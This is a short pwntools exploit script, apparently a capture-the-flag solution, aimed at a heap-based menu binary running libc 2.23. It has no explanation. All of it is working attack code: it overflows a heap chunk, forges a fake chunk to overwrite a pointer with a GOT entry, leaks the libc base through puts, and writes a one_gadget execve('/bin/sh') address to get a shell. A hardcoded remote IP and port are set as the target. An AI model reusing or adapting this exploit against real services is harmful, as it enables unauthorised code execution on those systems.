from pwn import *
## from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "110.40.35.73"
PORT = 33755
elf = context.binary = ELF('./pwn')
## libc = elf.libc
libc = ELF('./libc-2.23.so')
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def add(size,content):
sla(">\n","1")
sla("Size",str(size))
sa("Content",content)
def edit(idx,size,content):
sla(">\n","2")
sla("Index :",str(idx))
sla("Size",str(size))
sa("Content",content)
def show(idx):
sla(">\n","3")
sla("Index :",str(idx))
add(0xf08,"AAAAA")
add(0x58,"AAAAA")
edit(1,0x60,b"A" * 0x58 + p64(0x91))
add(0x100,"AAA")
edit(1,0x68,b"A" * 0x58 + p64(0x71) + p64(0x40408d))
add(0x68,"A")
add(0x68,"A")
edit(4,0x4b,b"A" * 3 + b"A" * 0x40 + p64(elf.got['puts']))
show(0)
rl()
puts_addr = u64(r(6).ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
success(hex(libc_base))
## 0x45226 execve("/bin/sh", rsp+0x30, environ)
## constraints:
## rax == NULL
## 0x4527a execve("/bin/sh", rsp+0x30, environ)
## constraints:
## [rsp+0x30] == NULL
## 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
## constraints:
## [rsp+0x50] == NULL
## 0xf1247 execve("/bin/sh", rsp+0x70, environ)
## constraints:
## [rsp+0x70] == NULL
edit(0,8,p64(libc_base + 0x45226))
## g(p)
p.interactive()